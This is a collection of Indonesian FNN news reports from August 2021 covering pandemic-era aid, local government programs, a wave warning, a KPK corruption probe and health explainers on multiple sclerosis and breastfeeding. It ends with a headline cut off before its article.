Jakarta, FNN - Partai Solidaritas Indonesia (PSI) menginstruksikan seluruh pengurus dan kader menggencarkan Program Rice Box PSI untuk membantu rakyat pada Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) yang diperpanjang sampai dengan 16 Agustus 2021. Pelaksana Tugas Sekjen DPP PSI Dea Tunggaesti dalam keterangan di Jakarta, Rabu, mengharapkan program tersebut dapat meringankan beban masyarakat yang terdampak pandemi COVID-19. “Dengan rice box (nasi kotak), PSI berharap bisa meringankan beban saudara-saudara kita yang terdampak karena dirumahkan, tak bisa leluasa mencari nafkah, atau dampak lain. Di masa perpanjangan PPKM ini, kami minta pengurus dan kader memasifkan program rice box,” kata dia. Dea mengatakan PPKM memang kenyataan pahit yang harus diterima bersama. Namun, dampaknya bisa diminimalkan jika ada rasa solidaritas sesama. “Dari Pemerintah sudah ada paket-paket bantuan sosial yang disalurkan, tapi itu niscaya belum mencukupi. Sebagai sesama warga negara, kita selayaknya juga mengulurkan tangan, membantu dengan apa yang kita punya,” ujar Dea. Program Rice Box PSI sudah dilaksanakan sejak April lalu. Awalnya, kata dia, hanya pengurus, kader, dan anggota legislatif yang berkontribusi. Namun sejak pertengahan Juli lalu, lanjut Dea, PSI juga membuka partisipasi publik setelah mengetahui banyak pihak yang ingin terlibat. “Dengan bantuan para donatur berhati mulia, kami berharap 1 juta rice box bisa dibagikan di 100 kota dan kabupaten,” kata Dea. Menurut dia, dalam menjalankan program tersebut, PSI selalu bekerja sama dengan pengurus RT dan RW setempat untuk memastikan bantuan tepat sasaran. “Sementara, nasi dan lauk-pauknya dibeli dari warung atau pengusaha UMKM kuliner yang juga terdampak PPKM. Sekali melangkah, dua hal bisa dicapai, yaitu membantu rakyat dan menggerakkan UMKM,” ujar Dea pula. (sws)

Paskibra Upacara HUT Kemerdekaan RI Kabupaten Penajam Hanya Tiga Orang

Penajam, FNN - Pasukan pengibar bendera atau paskibra yang akan bertugas pada upacara peringatan HUT ke-76 Kemerdekaan RI di Kabupaten Penajam Paser Utara, Kalimantan Timur dalam kondisi pandemi COVID-19 hanya tiga orang. "Kondisi pandemi saat ini, petugas pengibar bendera hanya tiga orang," ujar Asisten I Bidang Pemerintahan dan Kesejahteraan Rakyat Sekretariat Daerah Kabupaten Penajam Paser Utara Sodikin di Penajam, Rabu. Hasil evaluasi pelaksanaan upacara, ujar dia, pemerintah kabupaten mengurangi jumlah pasukan pengibar bendera, mengingat masih mewabahnya COVID-19. Berbeda dari tahun sebelumnya, dipersonel paskibra sebanyak 17 orang, terdiri dari kelompok delapan dan pasukan 14 orang, tahun ini (2021) formasi paskibra hanya tiga orang dan dua cadangan. Pemerintah Kabupaten Penajam Paser Utara bakal tetap melaksanakan upacara peringatan HUT ke-76 Kemerdekaan RI tahun ini. Upacara bendera tersebut rencananya digelar di halaman Kantor Bupati Penajam Paser Utara pada Selasa (17/8). "Hasil rapat sepakat upacara bendera tetap dilaksanakan dengan memperhatikan kondisi COVID-19 sesuai instruksi pemerintah pusat," ujar Sodikin. "Tamu undangan dan peserta pada upacara HUT ke-76 RI akan sangat dibatasi agar tidak terjadi kerumunan," katanya pula. Jumlah tamu undangan upacara peringatan HUT Kemerdekaan tahun ini hanya 40 orang, dan peserta upacara 40 orang. Pelaksanaan upacara memperingati kemerdekaan RI tersebut menurut Sodikin, juga menerapkan protokol kesehatan secara ketat. Protokol kesehatan yang diterapkan, yakni memakai masker, mencuci tangan, dan jaga jarak untuk mencegah penularan COVID-19. (sws)

Wakil Ketua DPR Sayangkan Pembagian Beras tidak Layak di Jakarta Barat

Jakarta, FNN - Wakil Ketua DPR RI, Rachmat Gobel menyayangkan adanya pembagian bantuan beras tidak layak konsumsi kepadas sejumlah warga di Jakarta Barat. Seharusnya, pembagian beras bagi warga memperhatikan proses distribusi dari hulu hingga hilir sehingga kualitasnya terjaga. "Ya kita menyayangkan adanya beras-beras tersebut. Mungkin itu beras yang sudah lama," kata Rachmat Gobel saat mengunjungi program vaksinasi massal di kawasan Kalideres, Jakarta Barat, Rabu, 11 Agustus 2021. Kualitas beras yang diberikan kepada warga, kata Rachmat Gobel, harus dalam keadaan layak untuk dikonsumsi. "Sebelum diberikan tentu harus dilihat lagi. Bukan diambil lalu diberikan. Nah ini, bagaimana pelaksanaan dari sistem yang sudah dibuat," kata politisi dari Fraksi Nasdem itu. Menurut Antara, sebelumnya, Perum Bulog Kanwil DKI Jakarta dan Banten, serta PT Pos Indonesia telah mengganti beras bantuan tidak layak konsumsi bagi warga di Kelurahan Angke, Tambora, Jakarta Barat. Kepala Bidang Operasional dan Pelayanan Publik dari Perum Bulog Kanwil DKI Jakarta dan Banten, Volta Aresta menyebutkan, penggantian sekaligus penarikan beras tersebut telah dilakukan sejak Sabtu (7/8). Beras tersebut dinilai tidak layak konsumsi karena ditemukan beberapa gumpalan dan benda asing. "Itu beras medium, soal beras basah dan sedikit menggumpal itu karena terjadi karena hujan dan kepanasan," kata Volta. Gumpalan itu, kata Volta, disebabkan oleh tetesan air hujan yang jatuh ke beras saat proses bongkar muat. Pihaknya telah memberikan penggantian beras di wilayah RW 11 dan RW 06 sebanyak 90 kilogram atau setara sembilan karung. "Proses penggantian beras basah menjadi layak konsumsi yang dilakukan pihak Perum Bulog Kanwil DKI Jakarta dan Banten bersama PT. Pos Indonesia berlangsung lancar," katanya. (MD).

KemenPUPR Bangun 900 Hunian Wisata di 5 KSPN Nonsuper Prioritas

Jakarta, FNN - Kementerian Pekerjaan Umum dan Perumahan Rakyat (PUPR) membangun 900 hunian wisata di lima Kawasan Strategis Pariwisata Nasional (KSPN) unggulan nonsuper prioritas pada tahun ini. “Pemerintah meyakini bahwa sektor ekonomi utama yang dapat rebound dengan cepat adalah sektor pariwisata. Terkait hal ini, Kementerian PUPR akan merenovasi rumah warga agar layak untuk dijadikan homestay di kawasan wisata sehingga masyarakat setempat bukan hanya jadi penonton, tetapi bisa menikmati kue pariwisata,” kata Menteri PUPR Basuki Hadimuljono dalam keterangan tertulis yang diterima di Jakarta, Rabu. Di samping terus menyelesaikan pekerjaan infrastruktur 5 Destinasi Pariwisata Super Prioritas (DPSP) yakni Danau Toba, Borobudur, Mandalika, Labuan Bajo dan Manado – Likupang, Kementerian PUPR juga melanjutkan pembangunan pada lima KSPN unggulan prioritas lainnya yang juga ditetapkan Peraturan Presiden Nomor 3 Tahun 2016 seperti Morotai di Maluku Utara, Tanjung Kelayang di Bangka Belitung, Raja Ampat di Papua Barat, Wakatobi di Sulawesi Tenggara, Bromo-Tengger-Semeru di Jawa Timur. Dukungan Kementerian PUPR salah satunya dilaksanakan Direktorat Jenderal (Ditjen) Perumahan dengan mendorong pelaksanaan Program Peningkatan Kualitas Rumah Swadaya Mendukung Pariwisata atau dikenal juga dengan Sarana Hunian Pariwisata (Sarhunta). Pembangunan rumah wisata ini masuk dalam daftar Proyek Strategis Nasional (PSN) sesuai Perpres Nomor 109 Tahun 2020 untuk meningkatkan kualitas rumah warga sekitar kawasan pariwisata menjadi layak huni dan sekaligus dapat dimanfaatkan untuk usaha pondok wisata (homestay) dan usaha pariwisata lainnya, sehingga dapat mendorong perekonomian masyarakat setempat. Pada tahun 2021 program peningkatan kualitas rumah swadaya di KSPN Morotai, Tanjung Kelayang, Raja Ampat, Wakatobi, dan Bromo-Tengger-Semeru disalurkan sebanyak 900 unit dengan alokasi anggaran Rp54,7 miliar. Desain renovasi rumah warga menjadi Sarhunta dimodifikasi lebih modern, tetapi tidak meninggalkan kearifan lokal sebagai upaya menarik minat wisatawan domestik maupun mancanegara untuk menginap. Untuk Sarhunta di KSPN Morotai salah satunya dibangun di permukiman warga di Desa Galo Galo, Kecamatan Morotai Selatan, yang telah menobatkan dirinya sebagai Desa Wisata Mandiri. Pembangunan Sarhunta KSPN Morotai sebanyak 170 unit dengan progres fisik hingga Juni 2021 mencapai 28,88 persen. Selanjutnya KSPN Tanjung Kelayang sebanyak 90 unit dengan progres 35,50 persen, KSPN Raja Ampat sebanyak 90 unit progres 41,48 persen, KSPN Wakatobi 120 unit progres 26,63 persen, dan KSPN Bromo-Tengger-Semeru sebanyak 430 unit progres fisik 31,74 persen. Lima KSPN unggulan tersebut merupakan bagian dari 10 Bali Baru yang dikembangkan pemerintah untuk meningkatkan kunjungan wisatawan mancanegara. Dengan terbangunnya infrastruktur pendukung KSPN diharapkan akan meningkatkan produktivitas sektor pariwisata menjadi sektor andalan untuk mendatangkan devisa, membuka lapangan kerja, dan meningkatkan pertumbuhan ekonomi lokal. (mth)

Kemensos: Pendamping Sosial Penyeleweng Bansos Diatur di Permensos Baru

Jakarta, FNN - Staf Khusus Menteri Sosial Luhur Budijarso mengatakan aturan mengenai pendamping sosial, termasuk sanksi jika melakukan penyelewengan bantuan sosial (bansos), akan diatur dalam Peraturan Menteri Sosial (Permensos) terbaru yang sedang dalam proses revisi. Hal tersebut menurut Luhur Budijarso guna memperbaiki kelemahan di lapangan supaya tidak ada lagi celah yang dimanfaatkan pendamping sosial. "Kalau dari kami, langsung diberhentikan, kami akan atur di Permensos yang baru supaya dikembalikan kerugiannya. Kalau masih enggak bisa juga kita serahkan ke hukum," ujar Luhur kepada wartawan saat mengunjungi Sentra Vaksinasi IPSM di Universitas Negeri Jakarta, Rabu. Program Keluarga Harapan (PKH), menurut Luhur, adalah yang paling rawan ditemukan pemotongan, karena masalah penguasaan kartu ATM oleh pendamping sosial di lapangan atas alasan-alasan tertentu. Dibandingkan dengan BPNT yang bermasalah dalam penyalurannya. Luhur mengatakan sampai saat ini aturan mengenai pendamping PKH menggunakan Permensos Nomor 1 Tahun 2018 tentang Program Keluarga Harapan. Sedangkan untuk Bantuan Pangan Non-Tunai (BPNT) menggunakan Permensos Nomor 20 Tahun 2019. Namun pihaknya juga mengacu pada aturan Menteri Koordinator Pembangunan Manusia dan Kebudayaan (PMK). "Semua aturan bisa ada celahnya yang penting bagaimana kita semua sebagai bagian dari 'civil society' untuk sama-sama bisa membantu mengawasi. Bukan untuk siapa-siapa, tapi untuk penerima," ujar Luhur. Dia juga mendorong media maupun masyarakat untuk terus mengawasi pelaksanaan bantuan sosial di sekitarnya. "Sampaikan saja kami kami Buka hotlinenya. 'Whistleblower' itu sekarang sudah terintegrasi dengan KPK Jadi silakan kalau ada apa-apa kita buka semua, tidak ada yang kita tutupi," kata dia. (mth)

Akademisi Dorong Mahasiswa Jadi Pelaku UMKM Digital

Jakarta, FNN - Wakil Rektor IV dari Universitas Riau Kepulauan Sri Langgeng Ratnasari mendorong mahasiswa sebagai generasi muda khususnya di Batam untuk bisa menjadi pelaku UMKM (Usaha Mikro, Kecil, dan Menengah) digital untuk mempercepat inisiatif kota Batam menjadi sentra e-commerce pertama di Indonesia. “Mahasiswa ini sehabis lulus diharapkan bukan mencari pekerjaan tapi membuka lapangan pekerjaan. Caranya bagaimana? Jadi wirausaha, entrepreuner, menggali potensi- potensi UMKM lokal yang belum ada dari sebelumnya,” kata Sri dalam webinar pada Rabu. Lebih lanjut ia menyebutkan agar bisa sukses membuka lapangan pekerjaan atau merintis usaha menjadi wirausaha mahasiswa yang sudah melek teknologi disarankan dapat memanfaatkan fasilitas dan aplikasi beragam gawainya untuk bisa membangun usaha yang optimal. Ia mencontohkan salah satu aplikasi di gawai yang bisa diakses untuk memulai usaha adalah aplikasi pembiayaan digital atau teknologi finansial lainnya jika dirasa membutuhkan modal untuk merintis usaha. Dengan demikian, selain memiliki kelebihan berada di Kawasan Ekonomi khusus dan Perdagangan bebas, tentu perkembangan generasi muda menjadi wirausaha di Kota Batam bisa lebih pesat berkembang. “Dukungan infrastruktur dan keistimewaan wilayah Batam dari sisi pengembangan ekonomi ini menjadi bekal yang sangat baik bagi generasi muda lokal jika mampu memanfaatkan peluang bisnis, terlebih di tengah tingginya transaksi di e-commerce dan penggunaan fintech. Untuk itu, generasi muda ini patut dipersiapkan secara maksimal untuk memanfaatkan momentum dan semakin mendukung kesiapan Kota Batam sebagai sentral e-commerce nasional,” ujar wanita yang juga ekonom itu. Batam merupakan kota yang cenderung memiliki pertumbuhan stabil meski di tengah pandemi, ada banyak fasilitas pengembangan teknologi dan digital yang didirikan di kawasan itu untuk bisa melengkapi ekosistem e-commerce. Beberapa fasilitas dan infrastrukur tersebut di antaranya Batam Aero Technic, Nongsa Digital Park sebagai IT Hub, hingga pelabuhan Batuampar serta Bandara Hang Nadim. Percepatan Batam menjadi sentra e-commerce pun disusul dengan fakta dari survei Otoritas Jasa Keuangan (OJK) pada 2020 yang menunjukan literasi keuangan digital di Batam sudah mencapai lebih dari 40 persen, lebih tinggi dibanding dari rata- rata nasional yang berada dikisaran 38 persen. (mth)

BMKG Ingatkan Potensi Gelombang Tinggi di Selatan Jawa Timur

Surabaya, FNN - Badan Meteorologi Klimatologi dan Geofisika mengeluarkan peringatan dini potensi gelombang tinggi lebih dari enam meter di Selatan Jawa Timur tanggal 11 sampai 12 Agustus. Kepala Pusat Meteorologi Maritim BMKG Eko Prasetyo dalam keterangan tertulis di Surabaya, Rabu mengatakan, selain di selatan Jawa Timur potensi gelombang tinggi juga berpotensi terjadi di Perairan Timur Enggano, Perairan Selatan Banten dan juga di Samudera Hindia Barat Bengkulu. "Pola angin di wilayah Indonesia bagian utara dominan bergerak dari timur - selatan dengan kecepatan angin berkisar 5 - 20 knot, sedangkan di wilayah Indonesia bagian selatan dominan bergerak dari timur - tenggara dengan kecepatan angin berkisar 8 - 30 knot. Kecepatan angin tertinggi terpantau di Perairan utara Sabang, Selat Sunda bagian selatan, dan Perairan selatan Banten," katanya. Ia mengatakan, untuk gelombang antara 1,25 meter sampai dengan 2,5 meter di antaranya berpeluang terjadi di Perairan Timur Kepulauan Nias hingga Mentawai, Selat Sumba bagian timur, selat Ombai, Perairan Selatan Kepulauan Anambas, Perairan Timur Bintan-Lingga, Perairan Belitung-Selat Gelasa. "Sedangkan tinggi gelombang antara 2,5 meter sampai dengan 4 meter berpeluang terjadi di Selat Malaka Bagian Utara, Perairan Timur Simeulue, Teluk Lampung bagian Selatan, Selat Sape bagian Selatan, Perairan Pulau Sawu-Pulau Rotte-kupang," ujarnya. Ia mengatakan, harap diperhatikan risiko tinggi terhadap keselamatan pelayaran perahu nelayan dengan kecepatan angin lebih dari 15 knot dan tinggi gelombang di atas 1,25 meter. "Kapal Tongkang dengan kecepatan angin lebih dari 16 knot dan tinggi gelombang di atas 1,5 meter, Kapal Ferry dengan kecepatan angin lebih dari 21 knot dan tinggi gelombang di atas 2, 5 meter Kapal Ukuran Besar seperti Kapal Kargo atau Kapal Pesiar kecepatan angin lebih dari 27 knot dan tinggi gelombang di atas 4 meter. Dimohon kepada masyarakat yang tinggal dan beraktivitas di pesisir sekitar area yang berpeluang terjadi gelombang tinggi agar tetap selalu waspada," ujarnya. (mth)

Mengenal Penyakit Multiple Sclerosis, Gejala dan Pengobatan

Jakarta, FNN - Belum lama ini, aktor Christina Applegate mengumumkan bahwa dia telah didiagnosis menderita multiple sclerosis. Lalu apakah multiple sclerosis itu? Melalui laman Twitter pribadinya, Applegate mengumumkan tentang penyakit yang dideritanya. Meski demikian, Applegate tidak menyerah dan tetap berjuang untuk pemulihan. Dia juga akan melakukan berbagai pengobatan. Applegate juga meminta untuk diberikan privasi agar pengobatannya dalam berjalan dengan lancar. "Hai teman-teman. Beberapa bulan yang lalu saya didiagnosis dengan MS. Ini adalah perjalanan yang aneh. Tetapi saya sangat didukung oleh orang-orang yang saya kenal yang juga memiliki kondisi ini. Ini adalah jalan yang sulit. Tapi seperti yang kita semua tahu, hidup terus berjalan, ujar Applegate. Multiple sclerosis adalah penyakit penonaktifan yang berpotensi mempengaruhi sistem saraf pusat, terutama otak, sumsum tulang belakang, dan saraf optik. Ini disebut sebagai penyakit progresif dari sistem saraf yang menyebabkan masalah komunikasi antara otak dan seluruh tubuh. "Ini bisa menyerang siapa saja, anak muda, lebih banyak wanita daripada pria, dan biasanya antara kelompok usia 20 hingga 40 tahun," kata Dr. Praveen Gupta, Director-neurology at Fortis Memorial Research Institute, India dilansir Indian Express pada Rabu. Pada multiple sclerosis, sistem kekebalan mempengaruhi selubung pelindung yang disebut myelin yang menutupi serabut saraf yang menyebabkan masalah komunikasi. Pada waktunya, penyakit ini dapat menyebabkan kerusakan atau kemunduran saraf yang sifatnya permanen. Gejala dari kondisi ini sangat bervariasi dan terutama bergantung pada saraf mana yang terpengaruh dan jumlah kerusakan yang ditimbulkan. Mereka yang memiliki multiple scleeosis parah mungkin kehilangan kemampuan untuk berjalan secara mandiri, sementara yang lain mungkin menderita remisi untuk waktu yang lebih lama tanpa menunjukkan gejala baru. Dr. Rahul Bhargava, direktur, hematologi, hematologi, onkologi dan transplantasi sumsum tulang, Fortis Memorial Research Institute, Gurugram, India mengatakan Multiple sclerosis dapat mempengaruhi semua kelompok usia tetapi terutama terlihat pada kelompok usia 20 sampai 40 tahun. Hal ini cenderung mempengaruhi perempuan dibanding laki-laki dan perokok cenderung memiliki lebih banyak lesi dan penyusutan otak sehingga dengan demikian, lebih mungkin untuk menderita penyakit ini. Gejala Gejala multiple sclerosis dapat bervariasi, namun yang paling umum adalah mati rasa pada satu atau lebih pada anggota badan. Ini biasanya terjadi di satu sisi tubuh pada satu waktu, misalnya pada kaki, kurangnya koordinasi atau gaya berjalan yang tidak stabil. Ada juga orang yang merasakan sensasi seperti sengatan listrik yang mungkin terjadi di leher, terutama jika leher ditekuk ke depan. Seseorang yang menderita multiple scleroris kemungkinan akan sering buang air kecil, sembelit, kelelahan, tremor, otot-otot lemah serta kejang. Beberapa gejala lain dari multiple scleroris adalah penglihatan yang kabur, perubahan emosi serta sulit berkonsentrasi. Diagnosa Tidak ada tes khusus untuk mendiagnosis multiple sclerosis. Seringkali masalah ini dikesampingkan lantaran memiliki gejala dan tanda yang sama dengan penyakit lain. Dokter mungkin akan terlebih dahulu mengambil riwayat medis dan pemeriksaan menyeluruh serta menyarankan beberapa hal untuk pemeriksaan seperti tes darah, untuk membantu menyingkirkan penyakit lain yang mungkin memiliki gejala yang mirip dengan multiple sclerosis. Melakukan pengambilan sampel dari tulang belakang untuk analisis laboratorium. Sampel ini dapat menunjukkan kelainan pada antibodi yang dapat dikaitkan dengan multiple sclerosis. Pengambilan tulang belakang juga membantu menyingkirkan penyakit yang mungkin memiliki gejala yang mirip dengan multiple sclerosis. Selain itu, pemeriksaan MRI dapat mengungkapkan area multiple sclerosis (lesi) pada sumsum tulang belakang atau otak. Bisa juga melakukan tes dengan menggunakan aliran listrik. Melalui tes ini, sinyal listrik dihasilkan oleh sistem saraf Anda sebagai respons terhadap rangsangan, yang direkam. Elektroda mengukur kecepatan informasi mengalir ke jalur saraf. Pengobatan Meskipun tidak ada obat yang pasti untuk multiple sclerosis, pengobatan biasanya berfokus pada memperlambat perkembangan penyakit, pemulihan yang cepat dari serangan dan tremor dan mengelola gejalanya. Beberapa pilihan pengobatan yang biasa dianjurkan termasuk kortikosteroid, diresepkan untuk mengurangi peradangan saraf. Namun, kemungkinan ada beberapa efek samping seperti insomnia, peningkatan tekanan darah dan perubahan suasana hati. Pertukaran plasma. Plasma dipisahkan dan dikeluarkan dari sel darah di tubuh Anda. Sel darah tersebut kemudian dicampur dengan albumin yang merupakan larutan protein dan dimasukkan kembali ke dalam tubuh Anda. Perawatan pertukaran plasma ini adalah pilihan ketika gejala Anda baru dan parah, dan tubuh Anda belum merespons steroid dengan baik. Mengatasi mobilitas dan keseimbangan. Untuk mengatasi hal ini, terapi fisik mungkin direkomendasikan dan obat-obatan seperti dalfampridine untuk mengatasi masalah tersebut dapat digunakan. Untuk mengatasi tremor dari multiple sclerosis, alat bantu atau memasang beban pada anggota badan mungkin direkomendasikan untuk mengurangi goncangan. Suntikan antikonvulsan atau alkohol dapat membantu meredakan neuralgia trigeminal atau rasa nyeri. Penderita multiple sclerosis mungkin mengalami kekakuan atau kejang yang menyakitkan, terutama di kaki. Relaksan otot dapat membantu mengurangi rasa sakit dan kekakuan. Untuk mengurangi kelelahan akibat multiple sclerosis, bisa diberikan beberapa obat yang juga dapat membantu meningkatkan kecepatan berjalan pada beberapa orang. Obat-obatan juga dapat diresepkan untuk nyeri, depresi, insomnia, dan masalah kandung kemih yang berhubungan dengan multiple sclerosis. Konsultasikan dengan dokter Anda sebelum mengambil obat-obatan tersebut. (mth)

KPK Geledah Tiga Lokasi Kantor dan Rumah Dinas Bupati Banjarnegara

Jakarta, FNN - Komisi Pemberantasan Korupsi (KPK) mengamankan berbagai dokumen dari penggeledahan pada tiga lokasi di Kabupaten Banjarnegara, Jawa Tengah, Selasa (10/8). Tiga lokasi tersebut, yaitu Kantor Bupati Banjarnegara, rumah dinas Bupati Banjarnegara, dan sebuah rumah di Krandegan, Kecamatan Banjarnegara, Kabupaten Banjarnegara. "Selasa (10/8), tim penyidik telah selesai melakukan penggeledahan di tiga lokasi. Pada tiga lokasi tersebut, tim penyidik menemukan dan mengamankan berbagai barang bukti di antaranya berbagai dokumen yang diduga terkait dengan perkara," kata Pelaksana Tugas Juru Bicara KPK Ali Fikri dalam keterangannya, di Jakarta, Rabu. Penggeledahan dilakukan dalam penyidikan kasus dugaan korupsi turut serta dalam pemborongan, pengadaan atau persewaan pada Dinas Pekerjaan Umum dan Penataan Ruang (PUPR) Pemerintah Kabupaten Banjarnegara Tahun 2017-2018, dan penerimaan gratifikasi. Ali mengatakan barang bukti tersebut akan dianalisa lebih lanjut, dan dilakukan penyitaan untuk menjadi salah satu bagian dalam pemberkasan perkara penyidikan. "Penyitaan nantinya akan dilakukan terhadap berbagai barang bukti tersebut, untuk menjadi salah satu bagian dalam pemberkasan perkara penyidikan ini," kata dia. Sebelumnya, KPK pada Senin (9/8) juga menggeledah Kantor Dinas PUPR Kabupaten Banjarnegara dan Kantor PT Bumirejo. Diketahui, PT Bumirejo berada di kediaman pribadi Bupati Banjarnegara Budhi Sarwono. Dari dua lokasi itu, tim penyidik KPK mengamankan berbagai dokumen dan barang bukti elektronik yang diduga terkait dengan kasus tersebut. Dengan adanya kegiatan penyidikan di Kabupaten Banjarnegara, KPK telah menetapkan tersangka terkait kasus tersebut. Kendati demikian, mengenai kronologi kasus dan pihak-pihak yang dijadikan tersangka belum dapat diumumkan oleh KPK saat ini. Sebagaimana kebijakan Pimpinan KPK bahwa untuk publikasi konstruksi perkara dan pihak yang telah ditetapkan sebagai tersangka akan dilakukan pada saat telah dilakukan upaya paksa baik penangkapan maupun penahanan terhadap tersangka. (mth)

Gunung Kidul Inisiasi "Si Dewi Sintal" untuk Promosikan Desa Wisata

Gunung Kidul, FNN - Dinas Pariwisata Kabupaten Gunung Kidul, Daerah Istimewa Yogyakarta (DIY), menginisiasi program inovasi Sinergi Desa Wisata Promosi melalui Media Digital atau "Si Dewi Sintal" dalam rangka mempromosikan dan menyebarkan informasi potensi desa wisata yang ditutup sementara selama Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM). Kepala Dinas Pariwisata (Dispar) Gunung Kidul Asti Wijayanti di Gunung Kidul, Rabu, mengatakan peran media digital saat ini penting diterapkan oleh pengelola desa wisata untuk memudahkan pelayanan. "Pengelola desa wisata harus mempunyai kecakapan dasar untuk menggunakan berbagai media digital sebelum menerapkannya. Untuk itu Dinas Pariwisata mengajak pelaku desa wisata mensukseskan Program Si Dewi Sintal untuk menggelorakan potensi desa wisata yang berkembang di masyarakat," ujarnya. Menurut dia, digitalisasi desa wisata dapat diterapkan pada pemanfaatan media sosial untuk promosi, edukasi, dan informasi, membuat konten menarik berupa poster, foto maupun video. Selain itu, pelaku desa wisata bisa membuat webinar atau digital tourism di kawasan desa wisata, membuat sistem reservasi daring, dan pendataan wisatawan, pemasaran produk desa wisata secara digital, dan menerapkan transaksi non-tunai. "Inovasi ini perlu ditingkatkan supaya sektor pariwisata di Gunung Kidul tetap dapat dinikmati wisawatan meski di media sosial, sehingga setelah pariwisata dibuka kembali, sektor pariwisata segera bangkit," kata Asti. Sementara itu Kabid Pemasaran dan Bina Usaha Ekraf Dinas Pariwisata Gunung Kidul Yuni Hartini optimistis pandemi akan segera berlalu dan kunjungan wisata di desa wisata akan bergairah kembali. Promosi dan penyebaran informasi harus tetap dilakukan untuk memperkuat citra desa wisata di Gunung Kidul dan mempersiapkan lonjakan kunjungan pascapandemi. "Untuk itu Dinas Pariwisata Gunung Kidul menginisiasi program inovatif Si Dewi Sintal untuk peningkatan promosi dan informasi desa wisata di Kabupaten Gunung Kidul," katanya. Ia mengatakan program ini bertujuan untuk meningkatkan kapasitas pengelola desa wisata dalam memanfaatkan media sosial, digital, dan website, untuk keperluan promosi dan informasi. Diharapkan desa wisata mempunyai akun media sosial yang kuat dan melakukan kegiatan promosi secara mandiri. "Selain itu program ini bertujuan untuk membuat sinergi promosi antar desa wisata maupun dengan Dinas Pariwisata," katanya. Pelaksana program Si Dewi Sintal, Kasi Promosi dan Informasi Purnomo Sumardamto mengatakan implementasi program berwujud pelatihan dan pendampingan kepada pengelola desa wisata khususnya admin media sosial, bagaimana mengelola media sosial yang baik dan membuat konten yang menarik. Pada tahap awal ini sasaran si Dewi Sintal adalah 12 desa wisata yang telah ditetapkan melalui SK Bupati Gunung Kidul yaitu Desa Wisata Girisuko, Mulo, Pampang, Kampung, Putat, Ngalang, Beji, Nglanggeran, Pacarejo, Ngestirejo, Bleberan dan Umbulrejo. "Pelatihan dan pendampingan dilaksanakan pada 6 -13 Agustus 2021 di masing desa wisata. Selanjutnya implementasi dan monitoring akan dilaksanakan sampai akhir Agustus 2021," katanya. (mth)

Informasi Seputar Menyusui yang Perlu Ibu Ketahui Sejak Hamil

Jakarta, FNN - Dokter spesialis kebidanan dan kandungan dari Fakultas Kedokteran Universitas Indonesia (FKUI), dr. Nisa Fathoni, SpOG, IBCLC menyarankan para wanita mencari informasi dan membekali diri mengenai menyusui sejak masa kehamilan, salah satunya mengenai kapan ASI keluar. Nisa yang berpraktik di Brawijaya Hospital Saharjo itu, melalui siaran persnya, dikutip Rabu menjelaskan, proses laktogenesis yakni persiapan pengeluaran ASI dimulai sejak 16 – 22 minggu, tetapi hormon progesteron menahan ASI untuk tidak keluar terlebih dahulu sebelum bayi lahir. Setelah bayi lahir dan hormon progesteron turun barulah ASI dapat keluar. ASI baru keluar di fase laktogenesis kedua yaitu kurang lebih 20 – 30 jam pasca persalinan. Pada dasarnya ASI baru akan keluar ketika ada rangsangan hisapan bayi. sehingga ibu jangan panik dan sedih terlebih dahulu jika ASI tidak langsung keluar. Menurut Nisa, ketika hamil dan menyusui tubuh ibu pun menyesuaikan tahapan tersebut. Dari sisi produksi, jumlah ASI yang keluar pada awalnya memang cenderung lebih sedikit, karena menyesuaikan kapasitas lambung bayi yang baru lahir yang dapat menerima cairan sebanyak 5 – 7 ml. Namun seiring dengan bertambahnya usia dan kebutuhan anak, produksi ASI pun terus bertambah. Begitu pula dengan frekuensi pemberian ASI. Pada bayi usia 0-6 bulan, sebaiknya berikan ASI sesuaikan dengan siklus dan kapanpun bayi membutuhkan, namun biasanya 8-12 kali dalam sehari. Sementara bayi setelah berusia 6 bulan sudah disarankan untuk mendapatkan makanan pendamping ASI (MPASI). ASI akan diberikan disela-sela pemberian MPASI. Presentase perbandingan pemberian ASI dan MPASI untuk anak usia 6 diatas yakni 70 persen dan 30 persen. Sedangkan untuk anak usia 1 tahun keatas antara ASI dan MPASI sekitar 30 persen dan 70 persen. Informasi yang perlu juga ibu tahu mengenai menyusui yakni perbedaan foremilk dan hindmilk. Seperti dikutip dari siaran pers Mothercare, foremilk ialah ASI yang keluar di awal sesi menyusui, kaya akan laktosa, rendah lemak dan memiliki konsistensi yang cair. Sedangkan hindmilk yakni ASI yang keluar di saat sesi menyusui akan berakhir, mengandung lebih banyak kalori dan lebih kental. Meski sedikit berbeda, keduanya memiliki peran yang sama pentingnya dalam memenuhi kebutuhan nutrisi si Kecil. Namun, ketidakseimbangan foremilk dan hindmilk dapat mengganggu pencernaan dan pertumbuhannya. Ibu bisa berkonsultasi dengan dokter anak dan konselor ASI bila mengalami masalah ketidakseimbangan ini. Di sisi lain, ada mitos yang masih ada seputar menyusui yakni ibu dengan flat nipple tidak dapat menyusui. Pernyataan ini dapat dipatahkan dengan menggunakan metode AMUBIDA yang merupakan akronim dari Aryola sebagian besar masuk dan bagian atas lebih terlihat dari bagian bawah, Mulut bayi terbuka lebar, Bibir terpuntir keluar dan Dagu bawah menempel ke payudara ibu. Selama menyusui, ibu perlu tahu pentingnya konsumsi makanan dengan nutrisi seimbang untuk hasil ASI yang maksimal. Ibu harus mencukup gizi dan nutrisi selama kehamilan dan menyusui. Ibu tetap makan 3 kali sehari yang sesuai dengan panduan piring makan dan ditambah dengan 2 kali makanan selingan yang banyak mengandung protein. Tak lupa minum air sebanyak 2,5-3 liter setiap harinya. Bila kesulitan mendapatkan asupan vitamin dari makanan, ibu dapat mengkonsumsi vitamin tambahan atau suplemen. Dari sisi alat untuk menunjang menyusui, ibu bisa memanfaatkan alat pumping untuk pemberian ASI yang maksimal. Menyusui secara langsung memiliki banyak manfaat salah satunya membangun bonding antara ibu dan anak. Namun, ada beberapa situasi yang mengharuskan Ibu memompa ASI demi membantu menjaga kelancaran proses menyusui. Terakhir, gunakan bra menyusui yang nyaman dan berkualitas. Bra khusus menyusui memang terlihat hampir sama dengan bra pada umumnya. Namun, bra menyusui dapat memberikan kenyamanan dan dukungan bagi payudara yang semakin besar dan sensitif selama menyusui. (mth)

Barata Indonesia - Treehouz Asia Komitmen Bangun Pabrik Biomassa

